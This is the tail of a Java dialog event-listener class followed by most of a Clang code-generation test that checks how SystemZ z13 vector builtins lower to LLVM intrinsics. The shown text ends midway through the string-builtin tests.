this.style = style;
}
}
public abstract static class DialogCustomStyleSelectionListener implements EventListener {
@Override
public boolean handle(Event event) {
if (event instanceof DialogCustomStyleSelectionEvent) {
var dialogEvent = (DialogCustomStyleSelectionEvent) event;
switch (dialogEvent.type) {
case CONFIRM:
confirmed(dialogEvent.style);
break;
case CANCEL:
cancelled();
break;
}
return true;
} else {
return false;
}
}
public abstract void confirmed(String style);
public abstract void cancelled();
}
}
| 2,776 |
3,102 | <filename>test/CodeGen/builtins-systemz-vector.c
// REQUIRES: systemz-registered-target
// RUN: %clang_cc1 -target-cpu z13 -triple s390x-ibm-linux -flax-vector-conversions=none \
// RUN: -Wall -Wno-unused -Werror -emit-llvm %s -o - | FileCheck %s
typedef __attribute__((vector_size(16))) signed char vec_schar;
typedef __attribute__((vector_size(16))) signed short vec_sshort;
typedef __attribute__((vector_size(16))) signed int vec_sint;
typedef __attribute__((vector_size(16))) signed long long vec_slong;
typedef __attribute__((vector_size(16))) unsigned char vec_uchar;
typedef __attribute__((vector_size(16))) unsigned short vec_ushort;
typedef __attribute__((vector_size(16))) unsigned int vec_uint;
typedef __attribute__((vector_size(16))) unsigned long long vec_ulong;
typedef __attribute__((vector_size(16))) double vec_double;
volatile vec_schar vsc;
volatile vec_sshort vss;
volatile vec_sint vsi;
volatile vec_slong vsl;
volatile vec_uchar vuc;
volatile vec_ushort vus;
volatile vec_uint vui;
volatile vec_ulong vul;
volatile vec_double vd;
volatile unsigned int len;
const void * volatile cptr;
void * volatile ptr;
int cc;
void test_core(void) {
len = __builtin_s390_lcbb(cptr, 0);
// CHECK: call i32 @llvm.s390.lcbb(i8* %{{.*}}, i32 0)
len = __builtin_s390_lcbb(cptr, 15);
// CHECK: call i32 @llvm.s390.lcbb(i8* %{{.*}}, i32 15)
vsc = __builtin_s390_vlbb(cptr, 0);
// CHECK: call <16 x i8> @llvm.s390.vlbb(i8* %{{.*}}, i32 0)
vsc = __builtin_s390_vlbb(cptr, 15);
// CHECK: call <16 x i8> @llvm.s390.vlbb(i8* %{{.*}}, i32 15)
vsc = __builtin_s390_vll(len, cptr);
// CHECK: call <16 x i8> @llvm.s390.vll(i32 %{{.*}}, i8* %{{.*}})
vul = __builtin_s390_vpdi(vul, vul, 0);
// CHECK: call <2 x i64> @llvm.s390.vpdi(<2 x i64> %{{.*}}, <2 x i64> %{{.*}}, i32 0)
vul = __builtin_s390_vpdi(vul, vul, 15);
// CHECK: call <2 x i64> @llvm.s390.vpdi(<2 x i64> %{{.*}}, <2 x i64> %{{.*}}, i32 15)
vuc = __builtin_s390_vperm(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vperm(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vpklsh(vus, vus);
// CHECK: call <16 x i8> @llvm.s390.vpklsh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vus = __builtin_s390_vpklsf(vui, vui);
// CHECK: call <8 x i16> @llvm.s390.vpklsf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vui = __builtin_s390_vpklsg(vul, vul);
// CHECK: call <4 x i32> @llvm.s390.vpklsg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vuc = __builtin_s390_vpklshs(vus, vus, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vpklshs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vus = __builtin_s390_vpklsfs(vui, vui, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vpklsfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vui = __builtin_s390_vpklsgs(vul, vul, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vpklsgs(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vpksh(vss, vss);
// CHECK: call <16 x i8> @llvm.s390.vpksh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vss = __builtin_s390_vpksf(vsi, vsi);
// CHECK: call <8 x i16> @llvm.s390.vpksf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsi = __builtin_s390_vpksg(vsl, vsl);
// CHECK: call <4 x i32> @llvm.s390.vpksg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vpkshs(vss, vss, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vpkshs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vss = __builtin_s390_vpksfs(vsi, vsi, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vpksfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsi = __builtin_s390_vpksgs(vsl, vsl, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vpksgs(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
__builtin_s390_vstl(vsc, len, ptr);
// CHECK: call void @llvm.s390.vstl(<16 x i8> %{{.*}}, i32 %{{.*}}, i8* %{{.*}})
vss = __builtin_s390_vuphb(vsc);
// CHECK: call <8 x i16> @llvm.s390.vuphb(<16 x i8> %{{.*}})
vsi = __builtin_s390_vuphh(vss);
// CHECK: call <4 x i32> @llvm.s390.vuphh(<8 x i16> %{{.*}})
vsl = __builtin_s390_vuphf(vsi);
// CHECK: call <2 x i64> @llvm.s390.vuphf(<4 x i32> %{{.*}})
vss = __builtin_s390_vuplb(vsc);
// CHECK: call <8 x i16> @llvm.s390.vuplb(<16 x i8> %{{.*}})
vsi = __builtin_s390_vuplhw(vss);
// CHECK: call <4 x i32> @llvm.s390.vuplhw(<8 x i16> %{{.*}})
vsl = __builtin_s390_vuplf(vsi);
// CHECK: call <2 x i64> @llvm.s390.vuplf(<4 x i32> %{{.*}})
vus = __builtin_s390_vuplhb(vuc);
// CHECK: call <8 x i16> @llvm.s390.vuplhb(<16 x i8> %{{.*}})
vui = __builtin_s390_vuplhh(vus);
// CHECK: call <4 x i32> @llvm.s390.vuplhh(<8 x i16> %{{.*}})
vul = __builtin_s390_vuplhf(vui);
// CHECK: call <2 x i64> @llvm.s390.vuplhf(<4 x i32> %{{.*}})
vus = __builtin_s390_vupllb(vuc);
// CHECK: call <8 x i16> @llvm.s390.vupllb(<16 x i8> %{{.*}})
vui = __builtin_s390_vupllh(vus);
// CHECK: call <4 x i32> @llvm.s390.vupllh(<8 x i16> %{{.*}})
vul = __builtin_s390_vupllf(vui);
// CHECK: call <2 x i64> @llvm.s390.vupllf(<4 x i32> %{{.*}})
}
void test_integer(void) {
vuc = __builtin_s390_vaq(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vaq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vacq(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vacq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vaccq(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vaccq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vacccq(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vacccq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vaccb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vaccb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vacch(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vacch(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vaccf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vaccf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vaccg(vul, vul);
// CHECK: call <2 x i64> @llvm.s390.vaccg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vavgb(vsc, vsc);
// CHECK: call <16 x i8> @llvm.s390.vavgb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vavgh(vss, vss);
// CHECK: call <8 x i16> @llvm.s390.vavgh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vavgf(vsi, vsi);
// CHECK: call <4 x i32> @llvm.s390.vavgf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vavgg(vsl, vsl);
// CHECK: call <2 x i64> @llvm.s390.vavgg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vuc = __builtin_s390_vavglb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vavglb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vavglh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vavglh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vavglf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vavglf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vavglg(vul, vul);
// CHECK: call <2 x i64> @llvm.s390.vavglg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vui = __builtin_s390_vcksm(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vcksm(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vclzb(vuc);
// CHECK: call <16 x i8> @llvm.ctlz.v16i8(<16 x i8> %{{.*}}, i1 false)
vus = __builtin_s390_vclzh(vus);
// CHECK: call <8 x i16> @llvm.ctlz.v8i16(<8 x i16> %{{.*}}, i1 false)
vui = __builtin_s390_vclzf(vui);
// CHECK: call <4 x i32> @llvm.ctlz.v4i32(<4 x i32> %{{.*}}, i1 false)
vul = __builtin_s390_vclzg(vul);
// CHECK: call <2 x i64> @llvm.ctlz.v2i64(<2 x i64> %{{.*}}, i1 false)
vuc = __builtin_s390_vctzb(vuc);
// CHECK: call <16 x i8> @llvm.cttz.v16i8(<16 x i8> %{{.*}}, i1 false)
vus = __builtin_s390_vctzh(vus);
// CHECK: call <8 x i16> @llvm.cttz.v8i16(<8 x i16> %{{.*}}, i1 false)
vui = __builtin_s390_vctzf(vui);
// CHECK: call <4 x i32> @llvm.cttz.v4i32(<4 x i32> %{{.*}}, i1 false)
vul = __builtin_s390_vctzg(vul);
// CHECK: call <2 x i64> @llvm.cttz.v2i64(<2 x i64> %{{.*}}, i1 false)
vuc = __builtin_s390_verimb(vuc, vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.verimb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_verimb(vuc, vuc, vuc, 255);
// CHECK: call <16 x i8> @llvm.s390.verimb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 255)
vus = __builtin_s390_verimh(vus, vus, vus, 0);
// CHECK: call <8 x i16> @llvm.s390.verimh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_verimh(vus, vus, vus, 255);
// CHECK: call <8 x i16> @llvm.s390.verimh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 255)
vui = __builtin_s390_verimf(vui, vui, vui, 0);
// CHECK: call <4 x i32> @llvm.s390.verimf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_verimf(vui, vui, vui, 255);
// CHECK: call <4 x i32> @llvm.s390.verimf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 255)
vul = __builtin_s390_verimg(vul, vul, vul, 0);
// CHECK: call <2 x i64> @llvm.s390.verimg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}}, <2 x i64> %{{.*}}, i32 0)
vul = __builtin_s390_verimg(vul, vul, vul, 255);
// CHECK: call <2 x i64> @llvm.s390.verimg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}}, <2 x i64> %{{.*}}, i32 255)
vuc = __builtin_s390_verllb(vuc, len);
// CHECK: call <16 x i8> @llvm.s390.verllb(<16 x i8> %{{.*}}, i32 %{{.*}})
vus = __builtin_s390_verllh(vus, len);
// CHECK: call <8 x i16> @llvm.s390.verllh(<8 x i16> %{{.*}}, i32 %{{.*}})
vui = __builtin_s390_verllf(vui, len);
// CHECK: call <4 x i32> @llvm.s390.verllf(<4 x i32> %{{.*}}, i32 %{{.*}})
vul = __builtin_s390_verllg(vul, len);
// CHECK: call <2 x i64> @llvm.s390.verllg(<2 x i64> %{{.*}}, i32 %{{.*}})
vuc = __builtin_s390_verllvb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.verllvb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_verllvh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.verllvh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_verllvf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.verllvf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_verllvg(vul, vul);
// CHECK: call <2 x i64> @llvm.s390.verllvg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vus = __builtin_s390_vgfmb(vuc, vuc);
// CHECK: call <8 x i16> @llvm.s390.vgfmb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vui = __builtin_s390_vgfmh(vus, vus);
// CHECK: call <4 x i32> @llvm.s390.vgfmh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vul = __builtin_s390_vgfmf(vui, vui);
// CHECK: call <2 x i64> @llvm.s390.vgfmf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vgfmg(vul, vul);
// CHECK: call <16 x i8> @llvm.s390.vgfmg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vus = __builtin_s390_vgfmab(vuc, vuc, vus);
// CHECK: call <8 x i16> @llvm.s390.vgfmab(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vgfmah(vus, vus, vui);
// CHECK: call <4 x i32> @llvm.s390.vgfmah(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vgfmaf(vui, vui, vul);
// CHECK: call <2 x i64> @llvm.s390.vgfmaf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <2 x i64> %{{.*}})
vuc = __builtin_s390_vgfmag(vul, vul, vuc);
// CHECK: call <16 x i8> @llvm.s390.vgfmag(<2 x i64> %{{.*}}, <2 x i64> %{{.*}}, <16 x i8> %{{.*}})
vsc = __builtin_s390_vmahb(vsc, vsc, vsc);
// CHECK: call <16 x i8> @llvm.s390.vmahb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vmahh(vss, vss, vss);
// CHECK: call <8 x i16> @llvm.s390.vmahh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vmahf(vsi, vsi, vsi);
// CHECK: call <4 x i32> @llvm.s390.vmahf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vmalhb(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vmalhb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vmalhh(vus, vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vmalhh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vmalhf(vui, vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vmalhf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vss = __builtin_s390_vmaeb(vsc, vsc, vss);
// CHECK: call <8 x i16> @llvm.s390.vmaeb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vmaeh(vss, vss, vsi);
// CHECK: call <4 x i32> @llvm.s390.vmaeh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vmaef(vsi, vsi, vsl);
// CHECK: call <2 x i64> @llvm.s390.vmaef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <2 x i64> %{{.*}})
vus = __builtin_s390_vmaleb(vuc, vuc, vus);
// CHECK: call <8 x i16> @llvm.s390.vmaleb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vmaleh(vus, vus, vui);
// CHECK: call <4 x i32> @llvm.s390.vmaleh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vmalef(vui, vui, vul);
// CHECK: call <2 x i64> @llvm.s390.vmalef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <2 x i64> %{{.*}})
vss = __builtin_s390_vmaob(vsc, vsc, vss);
// CHECK: call <8 x i16> @llvm.s390.vmaob(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vmaoh(vss, vss, vsi);
// CHECK: call <4 x i32> @llvm.s390.vmaoh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vmaof(vsi, vsi, vsl);
// CHECK: call <2 x i64> @llvm.s390.vmaof(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <2 x i64> %{{.*}})
vus = __builtin_s390_vmalob(vuc, vuc, vus);
// CHECK: call <8 x i16> @llvm.s390.vmalob(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vmaloh(vus, vus, vui);
// CHECK: call <4 x i32> @llvm.s390.vmaloh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vmalof(vui, vui, vul);
// CHECK: call <2 x i64> @llvm.s390.vmalof(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vmhb(vsc, vsc);
// CHECK: call <16 x i8> @llvm.s390.vmhb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vmhh(vss, vss);
// CHECK: call <8 x i16> @llvm.s390.vmhh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vmhf(vsi, vsi);
// CHECK: call <4 x i32> @llvm.s390.vmhf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vmlhb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vmlhb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vmlhh(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vmlhh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vmlhf(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vmlhf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vss = __builtin_s390_vmeb(vsc, vsc);
// CHECK: call <8 x i16> @llvm.s390.vmeb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vsi = __builtin_s390_vmeh(vss, vss);
// CHECK: call <4 x i32> @llvm.s390.vmeh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsl = __builtin_s390_vmef(vsi, vsi);
// CHECK: call <2 x i64> @llvm.s390.vmef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vus = __builtin_s390_vmleb(vuc, vuc);
// CHECK: call <8 x i16> @llvm.s390.vmleb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vui = __builtin_s390_vmleh(vus, vus);
// CHECK: call <4 x i32> @llvm.s390.vmleh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vul = __builtin_s390_vmlef(vui, vui);
// CHECK: call <2 x i64> @llvm.s390.vmlef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vss = __builtin_s390_vmob(vsc, vsc);
// CHECK: call <8 x i16> @llvm.s390.vmob(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vsi = __builtin_s390_vmoh(vss, vss);
// CHECK: call <4 x i32> @llvm.s390.vmoh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsl = __builtin_s390_vmof(vsi, vsi);
// CHECK: call <2 x i64> @llvm.s390.vmof(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vus = __builtin_s390_vmlob(vuc, vuc);
// CHECK: call <8 x i16> @llvm.s390.vmlob(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vui = __builtin_s390_vmloh(vus, vus);
// CHECK: call <4 x i32> @llvm.s390.vmloh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vul = __builtin_s390_vmlof(vui, vui);
// CHECK: call <2 x i64> @llvm.s390.vmlof(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vpopctb(vuc);
// CHECK: call <16 x i8> @llvm.ctpop.v16i8(<16 x i8> %{{.*}})
vus = __builtin_s390_vpopcth(vus);
// CHECK: call <8 x i16> @llvm.ctpop.v8i16(<8 x i16> %{{.*}})
vui = __builtin_s390_vpopctf(vui);
// CHECK: call <4 x i32> @llvm.ctpop.v4i32(<4 x i32> %{{.*}})
vul = __builtin_s390_vpopctg(vul);
// CHECK: call <2 x i64> @llvm.ctpop.v2i64(<2 x i64> %{{.*}})
vuc = __builtin_s390_vsq(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsbiq(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsbiq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vscbiq(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vscbiq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsbcbiq(vuc, vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsbcbiq(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vscbib(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vscbib(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vus = __builtin_s390_vscbih(vus, vus);
// CHECK: call <8 x i16> @llvm.s390.vscbih(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vui = __builtin_s390_vscbif(vui, vui);
// CHECK: call <4 x i32> @llvm.s390.vscbif(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vul = __builtin_s390_vscbig(vul, vul);
// CHECK: call <2 x i64> @llvm.s390.vscbig(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vuc = __builtin_s390_vsldb(vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.vsldb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vsldb(vuc, vuc, 15);
// CHECK: call <16 x i8> @llvm.s390.vsldb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vuc = __builtin_s390_vsl(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsl(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vslb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vslb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsra(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsra(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsrab(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsrab(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsrl(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsrl(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vuc = __builtin_s390_vsrlb(vuc, vuc);
// CHECK: call <16 x i8> @llvm.s390.vsrlb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vui = __builtin_s390_vsumb(vuc, vuc);
// CHECK: call <4 x i32> @llvm.s390.vsumb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vui = __builtin_s390_vsumh(vus, vus);
// CHECK: call <4 x i32> @llvm.s390.vsumh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vul = __builtin_s390_vsumgh(vus, vus);
// CHECK: call <2 x i64> @llvm.s390.vsumgh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vul = __builtin_s390_vsumgf(vui, vui);
// CHECK: call <2 x i64> @llvm.s390.vsumgf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vsumqf(vui, vui);
// CHECK: call <16 x i8> @llvm.s390.vsumqf(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vuc = __builtin_s390_vsumqg(vul, vul);
// CHECK: call <16 x i8> @llvm.s390.vsumqg(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
len = __builtin_s390_vtm(vuc, vuc);
// CHECK: call i32 @llvm.s390.vtm(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vsc = __builtin_s390_vceqbs(vsc, vsc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vceqbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vceqhs(vss, vss, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vceqhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vceqfs(vsi, vsi, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vceqfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vceqgs(vsl, vsl, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vceqgs(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vchbs(vsc, vsc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vchbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vchhs(vss, vss, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vchhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vchfs(vsi, vsi, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vchfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vchgs(vsl, vsl, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vchgs(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
vsc = __builtin_s390_vchlbs(vuc, vuc, &cc);
// CHECK: call { <16 x i8>, i32 } @llvm.s390.vchlbs(<16 x i8> %{{.*}}, <16 x i8> %{{.*}})
vss = __builtin_s390_vchlhs(vus, vus, &cc);
// CHECK: call { <8 x i16>, i32 } @llvm.s390.vchlhs(<8 x i16> %{{.*}}, <8 x i16> %{{.*}})
vsi = __builtin_s390_vchlfs(vui, vui, &cc);
// CHECK: call { <4 x i32>, i32 } @llvm.s390.vchlfs(<4 x i32> %{{.*}}, <4 x i32> %{{.*}})
vsl = __builtin_s390_vchlgs(vul, vul, &cc);
// CHECK: call { <2 x i64>, i32 } @llvm.s390.vchlgs(<2 x i64> %{{.*}}, <2 x i64> %{{.*}})
}
void test_string(void) {
vuc = __builtin_s390_vfaeb(vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.vfaeb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vfaeb(vuc, vuc, 15);
// CHECK: call <16 x i8> @llvm.s390.vfaeb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vfaeh(vus, vus, 0);
// CHECK: call <8 x i16> @llvm.s390.vfaeh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vfaeh(vus, vus, 15);
// CHECK: call <8 x i16> @llvm.s390.vfaeh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 15)
vui = __builtin_s390_vfaef(vui, vui, 0);
// CHECK: call <4 x i32> @llvm.s390.vfaef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 0)
vui = __builtin_s390_vfaef(vui, vui, 15);
// CHECK: call <4 x i32> @llvm.s390.vfaef(<4 x i32> %{{.*}}, <4 x i32> %{{.*}}, i32 15)
vuc = __builtin_s390_vfaezb(vuc, vuc, 0);
// CHECK: call <16 x i8> @llvm.s390.vfaezb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 0)
vuc = __builtin_s390_vfaezb(vuc, vuc, 15);
// CHECK: call <16 x i8> @llvm.s390.vfaezb(<16 x i8> %{{.*}}, <16 x i8> %{{.*}}, i32 15)
vus = __builtin_s390_vfaezh(vus, vus, 0);
// CHECK: call <8 x i16> @llvm.s390.vfaezh(<8 x i16> %{{.*}}, <8 x i16> %{{.*}}, i32 0)
vus = __builtin_s390_vfaezh(vus, vus, 15);
